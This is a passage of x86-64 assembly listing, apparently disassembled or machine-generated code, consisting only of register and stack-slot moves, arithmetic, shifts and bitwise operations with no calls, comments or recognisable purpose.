mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov byte [0x1401e8794], al
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
and eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [0x1401e87f8]
movzx eax, word [rax]
mov word [rsp + 0x124c], ax
movsx eax, byte [rsp + 0xd8]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0xcc], al
mov eax, dword [rsp + 0x4fc0]
mov ecx, dword [rsp + 0x4f68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f10], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa3e0], rax
mov rax, qword [rsp + 0x9ee0]
mov rcx, qword [rsp + 0x93e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x93a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x5050], eax
mov rax, qword [rsp + 0x9750]
movsx eax, word [rax]
movsx ecx, word [0x1401e7040]
add eax, ecx
mov rcx, qword [rsp + 0x9aa0]
mov word [rcx], ax
lea rax, [rsp + 0x10b0]
mov qword [0x1401e8a68], rax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1008], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0xa3e8], rax
mov rax, qword [rsp + 0xa340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
shl eax, cl
mov word [rsp + 0x11dc], ax
mov rax, qword [rsp + 0x94f0]
mov rax, qword [rax]
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f4c]
sar eax, cl
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xa138]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4fd4], eax
mov rax, qword [rsp + 0x9ea0]
mov qword [rsp + 0xa3f8], rax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [0x1401e7024]
and eax, ecx
mov rcx, qword [rsp + 0x9270]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfe]
movsx ecx, byte [rsp + 0x10f]
sub eax, ecx
mov rcx, qword [0x1401e88a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1250], ax
movzx eax, byte [rsp + 0xdd]
movzx ecx, byte [rsp + 0x9f]
add eax, ecx
mov rcx, qword [rsp + 0x94c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0xa038]
mov rcx, qword [rsp + 0x9210]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9fd8], rax
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [rsp + 0x93c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90d0]
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0x9138]
mov ecx, dword [rsp + 0x4fa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e38], eax
movzx eax, word [0x1401e89b8]
mov word [rsp + 0x1254], ax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e7062], al
movsx eax, word [rsp + 0x119c]
movsx ecx, word [rsp + 0x1050]
sub eax, ecx
mov word [rsp + 0x10bc], ax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0xf6]
add eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [rsp + 0x1258], ax
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd1], al
lea rax, [0x1401e7010]
mov qword [rsp + 0xa408], rax
mov rax, qword [rsp + 0xa038]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9e18]
shr rax, cl
mov rcx, qword [rsp + 0xa248]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
movzx ecx, al
mov eax, dword [rsp + 0x5010]
shl eax, cl
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
xor eax, ecx
mov rcx, qword [0x1401e88c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x11a4]
movsx ecx, word [rsp + 0xffc]
or eax, ecx
mov word [rsp + 0x1034], ax
movzx eax, word [rsp + 0x1258]
mov word [rsp + 0x125c], ax
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x94], al
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0xa418], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd0]
mov qword [rsp + 0xa420], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x90d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70bc], ax
lea rax, [rsp + 0xef]
mov qword [rsp + 0xa428], rax
movzx eax, word [0x1401e7094]
mov rcx, qword [rsp + 0x96f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9df8]
mov word [rcx], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ba8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fcc]
mov dword [rsp + 0x5054], eax
mov rax, qword [rsp + 0xa198]
mov ecx, dword [rsp + 0x4fac]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x9e38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x94e8], rax
lea rax, [rsp + 0xd4]
mov qword [0x1401e8a70], rax
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x1260], ax
mov rax, qword [0x1401e87d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa340]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9050]
mov word [rcx], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0xa438], rax
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9088]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9dd0]
mov eax, dword [rax]
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0x9540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3b0]
mov qword [rsp + 0xa440], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa440]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
lea rax, [rsp + 0x4f44]
mov qword [rsp + 0xa448], rax
movzx eax, word [rsp + 0x11b4]
movzx ecx, word [rsp + 0x1148]
sub eax, ecx
mov rcx, qword [0x1401e8828]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2a8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7032]
and eax, ecx
mov rcx, qword [rsp + 0xa168]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a28]
movzx eax, word [rax]
mov word [rsp + 0x1264], ax
movsx eax, byte [rsp + 0xcb]
movsx ecx, byte [rsp + 0x116]
add eax, ecx
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov qword [rsp + 0xa450], rax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x9a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5044], eax
lea rax, [rsp + 0x4ff0]
mov qword [rsp + 0xa458], rax
mov rax, qword [rsp + 0x91c0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9670]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov word [0x1401e7030], ax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10c]
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b4], ax
lea rax, [0x1401e7025]
mov qword [rsp + 0xa460], rax
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x9e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0x9348]
movzx ecx, al
mov rax, qword [rsp + 0x9680]
shl rax, cl
mov qword [rsp + 0x9ac0], rax
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov qword [rsp + 0xa468], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
cdq
mov ecx, 0x2116
idiv ecx
mov dword [rsp + 0x4e3c], eax
lea rax, [rsp + 0xd5]
mov qword [0x1401e8a78], rax
lea rax, [rsp + 0x119c]
mov qword [rsp + 0xa470], rax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa430]
mov byte [rcx], al
movzx eax, word [rsp + 0x1198]
movzx ecx, word [rsp + 0x11f0]
xor eax, ecx
mov word [rsp + 0x11f8], ax
movzx eax, word [rsp + 0x1150]
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x98c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ddc]
shr eax, cl
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x9f98]
mov qword [rsp + 0xa478], rax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9358]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a00]
mov qword [rcx], rax
lea rax, [rsp + 0x4ec4]
mov qword [rsp + 0xa480], rax
movzx eax, byte [rsp + 0xf1]
movzx ecx, byte [rsp + 0x87]
sub eax, ecx
mov rcx, qword [0x1401e8800]
mov byte [rcx], al
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0xa210]
movzx eax, byte [rax]
mov byte [rsp + 0x11d], al
movsx eax, word [rsp + 0x11fc]
movsx ecx, word [0x1401e87f0]
add eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3b8]
mov rax, qword [rax]
mov qword [rsp + 0xa488], rax
mov rax, qword [rsp + 0x9f70]
mov ecx, dword [rsp + 0x5018]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9068]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e00]
mov dword [rsp + 0x505c], eax
movsx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x99c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9fd0]
mov byte [rcx], al
lea rax, [rsp + 0x1200]
mov qword [0x1401e8a80], rax
movzx eax, word [0x1401e706c]
mov word [rsp + 0x126c], ax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x9060]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa3d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7042]
sub eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov qword [rsp + 0xa490], rax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa090]
mov dword [rcx], eax
lea rax, [rsp + 0xa478]
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0xa0d0]
mov ecx, dword [rsp + 0x4e4c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f94], eax
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x11e], al
lea rax, [rsp + 0x11bc]
mov qword [0x1401e8a88], rax
movsx eax, byte [rsp + 0xd5]
movsx ecx, byte [rsp + 0x7c]
shl eax, cl
mov rcx, qword [rsp + 0xa258]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
xor eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a0]
movzx eax, byte [rax]
mov byte [rsp + 0x11f], al
mov eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0x9ba0]
mov qword [rsp + 0xa4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa0d0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xa4a8], rax
mov rax, qword [rsp + 0x9ce0]
mov rcx, qword [rsp + 0x9168]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x97a8]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa090]
mov dword [rcx], eax
lea rax, [rsp + 0x105c]
mov qword [rsp + 0xa4b0], rax
movzx eax, word [rsp + 0x120c]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e88f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
and eax, ecx
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0x10d0]
mov word [rsp + 0x1270], ax
mov rax, qword [rsp + 0x9ca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1118]
sub eax, ecx
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9318]
mov qword [rsp + 0xa4b8], rax
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fb0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa4c0], rax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xc2]
add eax, ecx
mov rcx, qword [rsp + 0xa298]
mov byte [rcx], al
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1174]
sub eax, ecx
mov rcx, qword [0x1401e87d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x9d]
movsx ecx, byte [rsp + 0xec]
or eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov byte [rcx], al
lea rax, [rsp + 0x7d]
mov qword [rsp + 0xa4c8], rax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [0x1401e89c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x9710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0xa4d0], rax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7018]
shl rax, cl
mov qword [rsp + 0x9910], rax
mov rax, qword [rsp + 0x9cd8]
mov ecx, dword [rsp + 0x5000]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x90a0]
movzx eax, byte [rax]
mov byte [0x1401e87f2], al
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0xa4d8], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa418]
mov word [rcx], ax
mov rax, qword [rsp + 0x9720]
movzx eax, byte [rax]
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9380]
mov rcx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9400], rax
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0xa4e0], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fe8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9510]
mov qword [rcx], rax
lea rax, [rsp + 0x4e4c]
mov qword [rsp + 0xa4e8], rax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa4d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7054], ax
movsx eax, word [0x1401e707c]
movsx ecx, word [rsp + 0x11e0]
and eax, ecx
mov word [rsp + 0x1140], ax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov word [rsp + 0x1274], ax
movsx eax, byte [0x1401e7036]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
mov rax, qword [rsp + 0x95e8]
mov rax, qword [rax]
mov qword [rsp + 0xa4f0], rax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9368], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x5060], eax
mov rax, qword [rsp + 0x92f0]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xda]
xor eax, ecx
mov byte [0x1401e7063], al
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0xa430]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ad0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1224]
mov word [rsp + 0x1278], ax
movsx eax, word [rsp + 0x1250]
movsx ecx, word [rsp + 0x1240]
or eax, ecx
mov word [rsp + 0x10ec], ax
movzx eax, word [rsp + 0x11cc]
mov word [rsp + 0x127c], ax
mov eax, dword [rsp + 0x4e9c]
mov rcx, qword [rsp + 0x9678]
mov qword [rsp + 0xa4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5044], eax
mov rax, qword [rsp + 0x9138]
imul eax, dword [rax], 0x3adb
mov dword [rsp + 0x4ed4], eax
lea rax, [rsp + 0xa148]
mov qword [rsp + 0xa500], rax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x99a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa278]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [0x1401e7033], al
movzx eax, byte [rsp + 0x100]
mov byte [rsp + 0x122], al
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [rsp + 0xff4]
sub eax, ecx
mov word [rsp + 0x11f0], ax
movsx eax, word [rsp + 0x1150]
mov rcx, qword [rsp + 0x9a48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov word [rcx], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0xa508], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x9988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fe8], eax
lea rax, [0x1401e7010]
mov qword [rsp + 0xa510], rax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9478]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a70], rax
mov eax, dword [rsp + 0x4ec0]
mov ecx, dword [rsp + 0x4d84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov dword [rcx], eax
lea rax, [rsp + 0x1168]
mov qword [0x1401e8a90], rax
mov rax, qword [rsp + 0x9968]
movzx eax, word [rax]
mov word [rsp + 0x1280], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfd], al
lea rax, [rsp + 0x104]
mov qword [rsp + 0xa518], rax
movsx eax, word [0x1401e7070]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov eax, dword [rsp + 0x4cac]
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0x94a0]
mov rcx, qword [rsp + 0xa388]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x9308]
mov qword [rsp + 0xa520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa520]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0xa300]
mov eax, dword [rax]
mov dword [rsp + 0x5068], eax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0xdd]
xor eax, ecx
mov byte [0x1401e7022], al
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0xf3]
or eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movzx eax, word [rsp + 0x1224]
mov word [rsp + 0x1284], ax
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8938]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x9c58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x506c], eax
mov rax, qword [rsp + 0x95b0]
mov rcx, qword [rsp + 0x8eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c10], rax
lea rax, [rsp + 0x96f0]
mov qword [rsp + 0xa528], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa330]
mov dword [rcx], eax
lea rax, [0x1401e87e6]
mov qword [0x1401e8a98], rax
movsx eax, word [rsp + 0x1234]
mov rcx, qword [rsp + 0xa2f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1044], ax
lea rax, [rsp + 0x113]
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11ac]
sub eax, ecx
mov word [rsp + 0x11bc], ax
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x1288], ax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0x9978]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4f54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9000]
mov dword [rcx], eax
lea rax, [rsp + 0x4e90]
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0x99d0]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x128c], ax
mov rax, qword [0x1401e89d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
sub eax, ecx
mov byte [0x1401e7066], al
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9828]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1084], ax
lea rax, [rsp + 0xf7]
mov qword [rsp + 0xa540], rax
movsx eax, word [rsp + 0x1130]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x9c08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa170]
mov qword [rsp + 0xa548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa548]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x500c], eax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0xa550], rax
mov rax, qword [rsp + 0x9728]
mov rcx, qword [rsp + 0xa158]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov dword [rsp + 0x5070], eax
mov rax, qword [rsp + 0x98a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8848]
mov byte [rcx], al
movsx eax, word [rsp + 0x1014]
mov rcx, qword [rsp + 0x95a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa128]
mov word [rcx], ax
mov rax, qword [rsp + 0x9420]
movzx eax, byte [rax]
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0x9548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov byte [rsp + 0x87], al
lea rax, [rsp + 0x8d30]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f74], eax
